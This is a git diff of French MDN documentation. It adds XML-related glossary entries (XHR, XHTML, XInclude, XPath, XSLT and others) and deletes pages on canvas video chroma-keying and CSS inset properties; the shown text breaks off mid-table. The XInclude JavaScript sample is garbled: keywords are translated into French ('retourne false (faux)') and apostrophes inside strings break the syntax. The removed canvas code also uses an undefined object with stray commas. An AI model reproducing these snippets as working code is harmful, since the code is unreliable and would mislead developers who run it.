diff --git a/files/fr/glossary/xforms/index.html b/files/fr/glossary/xforms/index.html new file mode 100644 index 0000000000..0cc2a295e7 --- /dev/null +++ b/files/fr/glossary/xforms/index.html @@ -0,0 +1,19 @@ +--- +title: XForm +slug: Glossaire/XForm +tags: + - CodingScripting + - Glossaire + - Obsolete + - XForms +translation_of: Glossary/XForms +--- +

XForms est une convention pour la construction de formulaires Web et pour le traitement de leurs données dans un format {{glossary("XML")}}. Plus aucun navigateur majeur ne supporte XForms—nous suggérons d'utiliser les formulaires HTML5 à la place.

+ +

Pour approfondir

+ +

Référence technique

+ + diff --git a/files/fr/glossary/xhr_(xmlhttprequest)/index.html b/files/fr/glossary/xhr_(xmlhttprequest)/index.html new file mode 100644 index 0000000000..7bac907c15 --- /dev/null +++ b/files/fr/glossary/xhr_(xmlhttprequest)/index.html @@ -0,0 +1,24 @@ +--- +title: XHR (XMLHttpRequest) +slug: Glossaire/XHR_(XMLHttpRequest) +tags: + - Glossaire +translation_of: Glossary/XHR_(XMLHttpRequest) +--- +

{{domxref("XMLHttpRequest")}} (XHR) est une {{Glossary("API")}} {{Glossary("JavaScript")}} pour créer des requêtes {{Glossary("AJAX")}}. Ses méthodes permettent d'envoyer des requêtes réseau entre le {{Glossary("Browser","navigateur")}} et un {{Glossary("Server","serveur")}}.

+ +

En apprendre plus

+ +

Culture générale

+ + + +

Informations techniques

+ + diff --git a/files/fr/glossary/xhtml/index.html b/files/fr/glossary/xhtml/index.html new file mode 100644 index 0000000000..777167cf9f --- /dev/null +++ b/files/fr/glossary/xhtml/index.html @@ -0,0 +1,89 @@ +--- +title: XHTML +slug: XHTML +tags: + - Encodage + - Glossaire + - XHTML +translation_of: Glossary/XHTML +--- +

HTML peut voyager sur le réseau vers un navigateur soit en syntaxe HTML soit en syntaxe XML appelée XHTML.

+ +

HTML5 et HTML/XHTML

+ +

La norme HTML5 définit ces deux syntaxes. Le type MIME (envoyé dans l'en-tête HTTP Content-Type) indique le choix de la syntaxe : pour XHTML, le type MIME sera application/xhtml+xml, sinon text/html.

+ +

Cet exemple montre un document HTML et un document XHTML inclus dans l'en-tête HTTP :

+ +

Document HTML

+ +
HTTP/1.1 200 OK
+Content-Type: text/html
+
+<!DOCTYPE html>
+<html lang=en>
+  <head>
+    <meta charset=utf-8>
+    <title>HTML</title>
+  </head>
+  <body>
+    <p>Je suis un document HTML</p>
+  </body>
+</html>
+ +

Document XHTML

+ +
HTTP/1.1 200 OK
+Content-Type: application/xhtml+xml
+
+<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <title>XHTML</title>
+  </head>
+  <body>
+    <p>Je suis un document XHTML</p>
+  </body>
+</html>
+
+ +

Type MIME contre DOCTYPE

+ +

Avant HTML5, les deux spécifications distinctes définissaient les deux syntaxes ( HTML 4.01 et XHTML 1.0 ). Selon la norme XHTML1, vous pouvez utiliser XHTML en déclarant un DOCTYPE spécial. Cependant, aucun navigateur n'a jamais implémenté cela, et la norme HTML5 a inversé la décision. Si votre page est envoyée en tant que texte/html, vous n'utilisez pas XHTML.

+ +

Au lieu de cela, le type MIME correct doit être présent dans l'en-tête HTTP Content-Type. Si vous ne mettez que le type MIME dans une balise meta HTML comme = <meta http-equiv...>, il sera ignoré et traité comme du texte/html.

+ +

Si vous diffusez vos pages en tant que texte/html et que vous croyez que vous écrivez XHTML, vous pouvez rencontrer plusieurs problèmes, comme décrit dans ces articles :

+ + + +

Prise en charge

+ +

La plupart des navigateurs prennent actuellement en charge XHTML, y compris Firefox, Chrome, Safari, Opera et Internet Explorer (depuis IE 9). (Les navigateurs Internet Explorer 8 et plus anciens affichent à la place une boîte de dialogue de téléchargement pour les types de fichiers inconnus lorsqu'ils voient un document XHTML avec le type MIME XHTML correct.)

+ +

Sachez également que de nombreuses bibliothèques et outils de développement {{Glossary("JavaScript")}} populaires ont un support limité ou inexistant pour XHTML.

+ +

Différences avec HTML

+ +

Voir Utilisation correcte de CSS et JavaScript dans les documents XHTML pour une liste partielle des différences entre HTML et XHTML.

+ +

Outils

+ + + +

Voir aussi

+ + + +

Tous les outils…

diff --git a/files/fr/glossary/xinclude/index.html b/files/fr/glossary/xinclude/index.html new file mode 100644 index 0000000000..0277aeb4fd --- /dev/null +++ b/files/fr/glossary/xinclude/index.html @@ -0,0 +1,159 @@ +--- +title: XInclude +slug: Glossaire/XInclude +tags: + - Encodage + - Glossaire +translation_of: Glossary/XInclude +--- +

XML Inclusions (XInclude) est une recommandation du W3C pour permettre l'inclusion de différentes sources XML d'une manière plus pratique que les entités externes XML. Lorsqu'il est utilisé conjointement avec XPointer (Firefox prend en charge un sous-ensemble et est utilisé dans l'exemple de code ci-dessous), XInclude peut également cibler uniquement des portions spécifiques d'un document à inclure. Firefox ne le supporte pas nativement, mais la fonction suivante a pour but de permettre son utilisation avec les documents qui y sont passés.

+ +

Exemple de code

+ +

Le code suivant vise à inclure les balises <xi: include> et <xi: fallback> (les deux éléments du langage) avec tous les attributs de <xi: include> dans un document XML de manière à pouvoir être fusionnés dans un document XML unique.

+ +

(Notez que ceci n'a pas été complètement testé pour toutes les circonstances et peut ne pas refléter complètement le comportement standard).

+ +

Notez également que si vous souhaitez autoriser xml: base, vous aurez besoin de xml:base function et la ligne de démarrage var href = ... doit être :

+ +
var href = getXmlBaseLink (/* XLink sans xml:base */ xinclude.getAttribute('href'), /* Élément à interroger à partir de */ xinclude);
+ +
function resolveXIncludes(docu) {
+    // http://www.w3.org/TR/xinclude/#xml-included-items
+    var xincludes = docu.getElementsByTagNameNS('http://www.w3.org/2001/XInclude', 'include');
+    if (xincludes) {
+        for (i=0; i < xincludes.length; i++) {
+            var xinclude = xincludes[i];
+            var href = xinclude.getAttribute('href');
+            var parse = xinclude.getAttribute('parse');
+            var xpointer = xinclude.getAttribute('xpointer');
+            var encoding = xinclude.getAttribute('encoding'); // par exemple, UTF-8 // "text/xml or application/xml ou text/*+xml ou application/*+xml" avant l'encodage (puis UTF-8)
+            var accept = xinclude.getAttribute('accept'); // header "Accept: "+x
+            var acceptLanguage = xinclude.getAttribute('accept-language'); // "Accept-Language: "+x
+            var xiFallback = xinclude.getElementsByTagNameNS('http://www.w3.org/2001/XInclude', 'fallback')[0]; // Un seul de ces enfants est autorisé
+            if (href === '' || href === null) { // Pointe sur le même document si vide (null est équivalent à une chaîne vide)
+                href = null; // Défini pour l'uniformité des tests ci-dessous
+                if (parse === 'xml' && xpointer === null) {
+                    alert('Il doit y avoir un attribut XPointer présent si "href" est vide et l'analyse est "xml"');
+                    retourne false (faux);
+                }
+            }
+            else if (href.match(/#$/, '') || href.match(/^#/, '')) {
+                alert('Les identifiants de fragment sont interdits dans un XInclude attribut "href"');
+                retourne false (faux);
+            }
+            var j;
+            var xincludeParent = xinclude.parentNode;
+            try {
+                netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect UniversalBrowserRead'); // Necessary with file:///-located files trying to reach external sites
+                if (href !== null) {
+                    var response, responseType;
+                    var request = new XMLHttpRequest();
+                    request.open('GET', href, false);
+                    request.setRequestHeader('If-Modified-Since', 'Thu, 1 Jan 1970 00:00:00 GMT');
+                    request.setRequestHeader('Cache-Control', 'no-cache');
+                    if (accept) {
+                        request.setRequestHeader('Accept', accept);
+                    }
+                    if (acceptLanguage) {
+                        request.setRequestHeader('Accept-Language', acceptLanguage);
+                    }
+                    switch (parse) {
+                        case 'text':
+                            // La priorité devrait être sur le type de média :
+
+                            var contentType = request.getResponseHeader('Content-Type');
+
+                            //text/xml; charset="utf-8" // Envoyer pour obtenir les en-têtes en premier?
+                            // Réparation : Nous testons également les extensions de fichiers dans le fichier en ce cas:// ne renvoie pas le type de contenu (comme cela semble être le cas); un autre outil peut-il être utilisé dans FF (ou IE) pour détecter l'encodage du fichier local ? Probablement juste besoin d'un test de nomenclature car d'autres codages doivent être spécifiés
+                            var patternXML = /\.(svg|xml|xul|rdf|xhtml)$/;
+                            if ((contentType && contentType.match(/[text|application]\/(.*)\+?xml/)) || (href.indexOf('file://') === 0 && href.match(patternXML))) {
+                                /* Saisissez la réponse sous forme de texte (voir ci-dessous pour cette routine), puis recherchez le codage dans*/
+                               var encName = '([A-Za-z][A-Za-z0-9._-]*)';
+                               var pattern = new RegExp('^<\\?xml\\s+.*encoding\\s*=\\s*([\'"])'+encName+'\\1.*\\?>'); // Vérifiez le document si non ?
+                               // Laisser la demande être traitée ci-dessous
+                            }
+                            else {
+                                if (encoding === '' || encoding === null) { // Encoding n'a pas d'effet en XML
+                                    encoding = 'utf-8';
+                                }
+                                request.overrideMimeType('text/plain; charset='+encoding); //'x-user-defined'
+                            }
+                            responseType = 'responseText';
+                            break;
+                        case null:
+                        case 'xml':
+                            responseType = 'responseXML';
+                            break;
+                        default:
+                            alert('L'élément XInclude contient une valeur d'attribut "parse" non valide');
+                            retourne false (faux);
+                            break;
+                    }
+                    request.send(null);
+                    if((request.status === 200 || request.status === 0) && request[responseType] !== null) {
+                        response = request[responseType];
+                         if (responseType === 'responseXML') {
+                            // applique xpointer (seul le sous-ensemble xpath1 () est supporté)
+                            var responseNodes;
+                            if (xpointer) {
+                                var xpathResult = response.evaluate(
+                                                                 xpointer,
+                                                                 response,
+                                                                 null,
+                                                                 XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,
+                                                                 null
+                                                              );
+                                var a = [];
+                                for(var k = 0; k < xpathResult.snapshotLength; k++) {
+                                a[k] = xpathResult.snapshotItem(k);
+                                }
+                                responseNodes = a;
+                            }
+                            else { // sinon, la réponse doit être un seul document bien formé
+                                responseNodes = [response.documentElement]; // Mettre en tableau peut donc être traité de la même manière que ci-dessus
+                            }
+                            // PRÉPENDRE TOUT(S) NŒUD(S) (EN XML) PUIS SUPPRIMER XINCLUDE
+                            for (j=0; j < responseNodes.length ; j++) {
+                                xincludeParent.insertBefore(responseNodes[j], xinclude);
+                            }
+                            xincludeParent.removeChild(xinclude);
+                         }
+                         else if (responseType === 'responseText') {
+                             if (encName) {
+                                  var encodingType = response.match(pattern);
+                                  if (encodingType) {
+                                      encodingType = encodingType[2];
+                                  }
+                                  else {
+                                      encodingType = 'utf-8';
+                                  }
+                                  // Besoin de faire une toute nouvelle demande, apparemment ici il ne peut pas convertir l'encodage après l'avoir reçu (pour savoir ce que l'encodage était)
+                                  var request2 = new XMLHttpRequest();
+                                  request2.overrideMimeType('text/plain; charset='+encodingType);
+                                  request2.open('GET', href, false);
+                                  request2.setRequestHeader('If-Modified-Since', 'Thu, 1 Jan 1970 00:00:00 GMT');
+                                  request2.setRequestHeader('Cache-Control', 'no-cache');
+                                  request2.send(null);
+                                  response = request2[responseType]; // Mettre à jour la réponse pour le traitement}
+
+                             // REMPLACER XINCLUDE AVEC LA RÉPONSE TEXTE
+                             var textNode = docu.createTextNode(response);                             xincludeParent.replaceChild(textNode, xinclude);
+                         }
+
+                        // remplacer xinclude dans doc avec la réponse maintenant (en texte brut ou en XML)}
+                }
+            }
+            catch (e) { // Utiliser xi:fallback si la récupération d'XInclude a échoué ci-dessus
+                var xiFallbackChildren = xiFallback.childNodes;
+                // PRÉPENDRE TOUT NŒUD (S) PUIS SUPPRIMER XINCLUDE
+                for (j=0; j < xiFallbackChildren.length ; j++) {
+                    xincludeParent.insertBefore(xiFallbackChildren[j], xinclude);
+                }
+                xincludeParent.removeChild(xinclude);
+            }
+        }
+    }
+    return docu;
+}
+
diff --git a/files/fr/glossary/xlink/index.html b/files/fr/glossary/xlink/index.html new file mode 100644 index 0000000000..72e306840f --- /dev/null +++ b/files/fr/glossary/xlink/index.html @@ -0,0 +1,30 @@ +--- +title: XLink +slug: Glossaire/XLink +tags: + - Encodage + - Glossaire +translation_of: Glossary/XLink +--- +

XLink est un standard du W3C qui sert à décrire des liens entre documents XML ou entre XML et d'autres documents. Un certain nombre de ses comportements est laissé à l'implémentation qui détermine comment ils doivent être gérés.

+ +

Des XLinks simples sont "pris en charge" dans Firefox (au moins dans SVG et MathML), bien qu'ils ne fonctionnent pas comme des liens dans le cas où un document XML brut avec des XLinks est chargé et qu'une tentative est faite pour cliquer sur des points particuliers de l'arborescence XML.

+ +

Pour ceux qui ont trouvé XLink 1.0 lourd pour les liens normaux, XLink 1.1 supprime la nécessité de spécifier xlink:type="simple" pour les liens simples.

+ +

XLink est utilisé dans SVG, MathML et d'autres standards importants.

+ +

Spécification

+ + + +

Voir aussi

+ + diff --git a/files/fr/glossary/xml/index.html b/files/fr/glossary/xml/index.html new file mode 100644 index 0000000000..968f32d1da --- /dev/null +++ b/files/fr/glossary/xml/index.html @@ -0,0 +1,20 @@ +--- +title: XML +slug: Glossaire/XML +tags: + - Encodage + - Glossaire + - XML +translation_of: Glossary/XML +--- +

eXtensible Markup Language (XML) est un langage de balisage générique définit par le W3C. Le secteur IT utilise de nombreux langages basés sur XML comme langages de description de données.

+ +

Les balises XML ressemblent aux balises HTML, mais XML est beaucoup plus flexible car il laisse l'utilisateur définir ses propres balises. De cette manière, XML se comporte comme un méta-langage, c'est-à-dire un langage utilisé pour définir d'autres langages, tels que {{Glossary("RSS")}}. De plus, HTML est un langage de présentation, alors que XML est un langage de description de données. Cela signifie que XML est ouvert à un éventail d'applications bien plus large que le seul Web. Par exemple, des services Web peuvent utiliser XML pour échanger des requêtes et des réponses.

+ +

Pour en savoir plus

+ +

Apprendre sur ce sujet

+ + diff --git a/files/fr/glossary/xpath/index.html b/files/fr/glossary/xpath/index.html new file mode 100644 index 0000000000..139f84a6aa --- /dev/null +++ b/files/fr/glossary/xpath/index.html @@ -0,0 +1,27 @@ +--- +title: XPath +slug: Glossaire/XPath +tags: + - Encodage + - Glossaire + - XML + - XPath +translation_of: Glossary/XPath +--- +

XPath est un langage de requêtes permettant d'accéder aux sections et contenus d'un document {{glossary("XML")}}.

+ +

Pour approfondir

+ +

Référence technique

+ + + +

Culture générale

+ + diff --git a/files/fr/glossary/xquery/index.html b/files/fr/glossary/xquery/index.html new file mode 100644 index 0000000000..b1406fcacf --- /dev/null +++ b/files/fr/glossary/xquery/index.html @@ -0,0 +1,26 @@ +--- +title: XQuery +slug: Glossaire/XQuery +tags: + - Encodage + - Glossaire + - XML + - XQuery +translation_of: Glossary/XQuery +--- +

XQuery est un langage informatique pour mettre à jour, récupérer, et effectuer des calculs sur les données de bases de données {{glossary("XML")}}.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/xslt/index.html b/files/fr/glossary/xslt/index.html new file mode 100644 index 0000000000..8ff8914bb5 --- /dev/null +++ b/files/fr/glossary/xslt/index.html @@ -0,0 +1,22 @@ +--- +title: XSLT +slug: Glossaire/XSLT +tags: + - CodingScripting + - Glossaire + - XML + - XSLT +translation_of: Glossary/XSLT +--- +

eXtensible Stylesheet Language Transformations (XSLT) est un langage déclaratif utilisé pour convertir des documents {{Glossary("XML")}} en d'autres documents XML, {{Glossary("HTML")}}, {{Glossary("PDF")}}, text brut etc.

+ +

XSLT possède son propre processeur qui accepte du XML en entrée, ou tout autre format qui peut être converti en XDM (XQuery and XPath Data Model). Le processeur XSLT génère un nouveau document basé sur le document XML et sur une feuille de styles XSLT, mais n'apporte aucune modification aux fichiers originaux pendant le processus.

+ +

Pour approfondir

+ +

Référence technique

+ + diff --git a/files/fr/html/manipulating_video_using_canvas/index.html b/files/fr/html/manipulating_video_using_canvas/index.html deleted file mode 100644 index 8a95281220..0000000000 --- a/files/fr/html/manipulating_video_using_canvas/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Manipulation vidéo avec la balise canvas -slug: HTML/Manipulating_video_using_canvas -tags: - - Canvas - - Video -translation_of: Web/API/Canvas_API/Manipulating_video_using_canvas ---- -

{{CanvasSidebar}}

- -

En combinant les possibilités de l'élément video avec celles de l'élément canvas, vous pouvez manipuler les données vidéos en temps réel, et y incorporer une variété d'effets visuels. Ce tutoriel explique comment réaliser un travail d'incrustation "chroma-keying" (fond vert) en utilisant JavaScript.

- -

Voir l'exemple.

- -

Le contenu du document

- -

Le document XHTML utilisé pour rendre ce contenu est montré ci-dessous :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <style>
-      body {
-        background: black;
-        color:#CCCCCC;
-      }
-      #c2 {
-        background-image: url(foo.png);
-        background-repeat: no-repeat;
-      }
-      div {
-        float: left;
-        border :1px solid #444444;
-        padding:10px;
-        margin: 10px;
-        background:#3B3B3B;
-      }
-    </style>
-    <script type="text/javascript" src="main.js"></script>
-  </head>
-
-  <body onload="processor.doLoad()">
-    <div>
-      <video id="video" src="video.ogv" controls="true"/>
-    </div>
-    <div>
-      <canvas id="c1" width="160" height="96"></canvas>
-      <canvas id="c2" width="160" height="96"></canvas>
-    </div>
-  </body>
-</html>
- -

Les éléments clés à retenir sont :

- -
    -
  1. Ce document dispose de deux balises canvas, avec les IDs c1 et c2 : l'élément c1 est utilisé pour afficher l'image courante de la vidéo originale, pendant que c2 est utilisé pour afficher la vidéo après application de l'effet d'incrustation ; c2 est préchargé avec la même image que celle qui sera utilisée pour le remplacement du fond vert.
    2. -
  2. Le code JavaScript est importé dans le script nommé main.js ; Ce script utilise les fonctionnalités propres à la version 1.8, aussi cette version est précisée, à la ligne 22, quand le script est importé.
    3. -
  3. Quand le document se charge, la méthode processor.doLoad(), dans le script main.js, est exécutée.
    4. -
- -

Le code JavaScript

- -

Le code JavaScript main.js est composé de trois méthodes.

- -

Initialisation du lecteur avec effet d'incrustation (chroma-key)

- -

La métode doLoad() est appelée quand le document XHTML se charge. Cette méthode sert à initialiser chaque variable nécessaire au code traitant l'incrustation (chroma-key), ainsi qu'à associer un écouteur d'évènement qui détectera le moment où l'utilisateur lancera la vidéo.

- -
var processor;
-
-  processor.doLoad = function doLoad() {
-    this.video = document.getElementById('video');
-    this.c1 = document.getElementById('c1');
-    this.ctx1 = this.c1.getContext('2d');
-    this.c2 = document.getElementById('c2');
-    this.ctx2 = this.c2.getContext('2d');
-    let self = this;
-    this.video.addEventListener('play', function() {
-        self.width = self.video.videoWidth / 2;
-        self.height = self.video.videoHeight / 2;
-        self.timerCallback();
-      }, false);
-  },
- -

Le code récupère les références aux élément XHTML qui nous intéressent, à savoir l'élément video et les deux éléments canvas. Il définit également les contextes graphique de chacun des éléments canvas. Ce sera utile pour la suite, lorsque nous créerons l'effet d'incrustation.

- -

Ensuite, l'écouteur d'évènement addEventListener() est appelé sur l'élément video pour détecter le moment où l'utilisateur va cliquer sur le bouton de lecture. Dès lors, le code récupère la hauteur et la largeur de la vidéo, que l'on divise par deux (nécessaire pour plus tard effectuer l'effet d'incrustation), puis on appelle la méthode timerCallback() pour surveiller l'avancement de la vidéo et appliquer l'effet visuel.

- -

Le rappel du minuteur

- -

Le rappel du minuteur est initialisé lorsque la vidéo commence à jouer (lorsque l'événement "play" se produit), puis est chargé d'établir le rappel périodique afin de lancer l'effet d'ajustement pour chaque "frame".

- -
processor.timerCallback = function timerCallback() {
-    if (this.video.paused || this.video.ended) {
-      return;
-    }
-    this.computeFrame();
-    let self = this;
-    setTimeout(function() {
-        self.timerCallback();
-      }, 0);
-  },
- -

La première chose que le rappel fait est de vérifier si la vidéo est en train de jouer. Si ce n'est pas le cas, le rappel revient immédiatement sans rien faire.

- -

Ensuite, il appelle la méthode computeFrame(), qui effectue l'effet "chroma-keying" sur l'image vidéo en cours.

- -

La dernière chose que fait le rappel est d'appeler setTimeout() pour programmer  un nouvel appel. En réalité, vous planifierez probablement cela en fonction de la connaissance de la fréquence d'images de la vidéo.

- -

Manipulation des données des images vidéo

- -

La méthode computeFrame() , présentée ci-dessous, est en charge de récupérer les données de chaque image et d'y appliquer l'effet d'incrustation.

- -
processor.computeFrame = function computeFrame() {
-    this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
-    let frame = this.ctx1.getImageData(0, 0, this.width, this.height);
-    let l = frame.data.length / 4;
-
-    for (let i = 0; i < l; i++) {
-      let r = frame.data[i * 4 + 0];
-      let g = frame.data[i * 4 + 1];
-      let b = frame.data[i * 4 + 2];
-      if (g > 100 && r > 100 && b < 43)
-        frame.data[i * 4 + 3] = 0;
-    }
-    this.ctx2.putImageData(frame, 0, 0);
-    return;
-  }
- -

²

- -

Quand la routine est appelée, l'élément vidéo affiche les données de la plus récente image de la vidéo, ce qui ressemble à :

- -

video.png

- -

À la seconde ligne, cette image est copiée dans le contexte graphique ctx1 du premier élément canvas, en spécifiant ses hauteur et largeur, définies plus tôt (soit, réduites de moitié). Notez que c'est très simplement que vous passez les données de l'élément vidéo à afficher dans le contexte graphique avec la méthode drawImage(). Voici ce que cela donne :

- -

sourcectx.png

- -

La ligne 3 extrait une copie des données graphiques brutes pour l'image courante de la vidéo en appelant la méthode getImageData() sur le premier contexte. Cela fournit des données brutes d'image pixel 32 bits que nous pouvons ensuite manipuler. La ligne 4 calcule le nombre de pixels de l'image en divisant la taille totale des données d'image du cadre par quatre.

- -

La boucle for, qui commence à la ligne 6, parcourt les pixels du cadre  en extrayant les valeurs rouges, vertes et bleues de chaque pixel et compare les valeurs aux nombres prédéterminés utilisés pour détecter l'écran vert qui sera remplacé par l'image de fond importée de foo.png.

- -

Chaque pixel dans les données d'image, qui se trouve dans les paramètres considérés comme faisant partie de l'écran vert, a sa valeur alpha remplacée par un zéro, indiquant que le pixel est entièrement transparent. En conséquence, l'image finale a toute la zone d'écran vert 100% transparente, de sorte que lorsqu'elle est dessinée dans le contexte de destination à la ligne 13, le résultat est une superposition sur la toile de fond statique.

- -

L'image résultante ressemble à ceci :

- -

output.png

- -

Cela se fait de façon répétée au fur et à mesure que la vidéo est lue, de sorte que, image après image, la vidéo est traitée et affichée avec l'effet de chrominance.

- -

Voyez cet exemple réel.

- -

Voir aussi

- - diff --git a/files/fr/inset-block-end/index.html b/files/fr/inset-block-end/index.html deleted file mode 100644 index 42385f1590..0000000000 --- a/files/fr/inset-block-end/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: inset-block-end -slug: inset-block-end -tags: - - CSS - - Experimental - - Propriété - - Reference -translation_of: Web/CSS/inset-block-end ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

La propriété inset-block-end définit la fin du décalage logique en bloc (block) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

- -
-

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-block-end. Firefox 63 a mis à jour le nom de la propriété afin de s'accorder avec les modifications apportées à la spécification.

-
- -
/* Valeurs de longueur */
-/* Type <length>       */
-inset-block-end: 3px;
-inset-block-end: 2.4em;
-
-/* Valeurs relatives à la largeur */
-/* du bloc englobant              */
-/* Type <percentage>              */
-inset-block-end: 10%;
-
-/* Valeurs avec un mot-clé */
-inset-block-end: auto;
-
-/* Valeurs globales */
-inset-block-end: inherit;
-inset-block-end: initial;
-inset-block-end: unset;
-
- -

Elle est liée aux propriétés {{cssxref("inset-block-start")}}, {{cssxref("inset-inline-end")}} et {{cssxref("inset-inline-start")}} qui permettent de définir les autres décalages de l'élément.

- -

Syntaxe

- -

Valeurs

- -

La propriété inset-block-end peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -

HTML

- -
<div>
-  <p class="exemple">Texte pour l'exemple</p>
-</div>
-
- -

CSS

- -
div {
-  background-color: yellow;
-  width: 120px;
-  height: 120px;
-}
-
-.exemple {
-  writing-mode: vertical-lr;
-  position: relative;
-  inset-block-end: 20px;
-  background-color: #c8c800;
-}
- -

Résultat

- -

{{EmbedLiveSample("Exemples", 140, 140)}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName("CSS Logical Properties", "#propdef-inset-block-end", "inset-block-end")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.properties.inset-block-end")}}

- -

Voir aussi

- -
    -
  • Les propriétés physiques correspondantes : -
      -
    • {{cssxref("top")}}
      • -
    • {{cssxref("right")}}
      • -
    • {{cssxref("bottom")}}
      • -
    • {{cssxref("left")}}
      • -
    -
    • -
  • Les autres propriétés qui définissent les décalages logiques -
      -
    • {{cssxref("inset-block-start")}}
      • -
    • {{cssxref("inset-inline-start")}}
      • -
    • {{cssxref("inset-inline-end")}}
      • -
    -
    • -
  • {{cssxref("writing-mode")}}
    • -
  • {{cssxref("direction")}}
    • -
  • {{cssxref("text-orientation")}}
    • -
diff --git a/files/fr/inset-block-start/index.html b/files/fr/inset-block-start/index.html deleted file mode 100644 index a37255de60..0000000000 --- a/files/fr/inset-block-start/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: inset-block-start -slug: inset-block-start -tags: - - CSS - - Experimental - - Propriété - - Reference -translation_of: Web/CSS/inset-block-start ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

La propriété inset-block-start définit le début du décalage logique en bloc (block) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

- -
-

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-block-start. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification.

-
- -
/* Valeurs de longueur */
-/* Type <length>       */
-inset-block-start: 3px;
-inset-block-start: 2.4em;
-
-/* Valeurs relatives à la largeur */
-/* du bloc englobant              */
-/* Type <percentage>              */
-inset-block-start: 10%;
-
-/* Valeurs avec un mot-clé */
-inset-block-start: auto;
-
-/* Valeurs globales */
-inset-block-start: inherit;
-inset-block-start: initial;
-inset-block-start: unset;
-
- -

Syntaxe

- -

Valeurs

- -

La propriété inset-block-start peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -

HTML

- -
<div>
-  <p class="exemple">Texte pour l'exemple</p>
-</div>
-
- -

CSS

- -
div {
-  background-color: yellow;
-  width: 120px;
-  height: 120px;
-}
-
-.exemple {
-  writing-mode: vertical-lr;
-  position: relative;
-  inset-block-start: 20px;
-  background-color: #c8c800;
-}
- -

Résultat

- -

{{EmbedLiveSample("Exemples", 140, 140)}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS Logical Properties", "#propdef-inset-block-start", "inset-block-start")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.properties.inset-block-start")}}

- -

Voir aussi

- -
    -
  • Les propriétés physiques correspondantes : -
      -
    • {{cssxref("top")}}
      • -
    • {{cssxref("right")}}
      • -
    • {{cssxref("bottom")}}
      • -
    • {{cssxref("left")}}
      • -
    -
    • -
  • Les propriétés qui définissent les autres décalages logiques -
      -
    • {{cssxref("inset-block-end")}}
      • -
    • {{cssxref("offset-inline-end")}}
      • -
    • {{cssxref("offset-inline-start")}}
      • -
    -
    • -
  • {{cssxref("writing-mode")}}
    • -
  • {{cssxref("direction")}}
    • -
  • {{cssxref("text-orientation")}}
    • -
diff --git a/files/fr/inset-inline-end/index.html b/files/fr/inset-inline-end/index.html deleted file mode 100644 index 0ca3f374a9..0000000000 --- a/files/fr/inset-inline-end/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: inset-inline-end -slug: inset-inline-end -tags: - - CSS - - Experimental - - Propriété - - Reference -translation_of: Web/CSS/inset-inline-end ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

La propriété inset-inline-end définit la fin du décalage logique en ligne (inline) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

- -
-

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-inline-end. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification.

-
- -
/* Valeurs de longueur */
-/* Type <length>       */
-inset-inline-end: 3px;
-inset-inline-end: 2.4em;
-
-/* Valeurs relatives à la largeur */
-/* du bloc englobant              */
-/* Type <percentage>              */
-inset-inline-end: 10%;
-
-/* Valeurs avec un mot-clé */
-inset-inline-end: auto;
-
-/* Valeurs globales */
-inset-inline-end: inherit;
-inset-inline-end: initial;
-inset-inline-end: unset;
-
- -

Elle est liée aux propriétés {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}} et {{cssxref("inset-inline-start")}} qui permettent de définir les autres décalages de l'élément.

- -

Syntaxe

- -

Valeurs

- -

La propriété inset-inline-end peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -

HTML

- -
<div>
-  <p class="exemple">Texte pour l'exemple</p>
-</div>
-
- -

CSS

- -
div {
-  background-color: yellow;
-  width: 120px;
-  height: 120px;
-}
-
-.exemple {
-  writing-mode: vertical-lr;
-  position: relative;
-  inset-inline-end: 20px;
-  background-color: #c8c800;
-}
- -

Résultat

- -

{{EmbedLiveSample("Exemples", 140, 140)}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
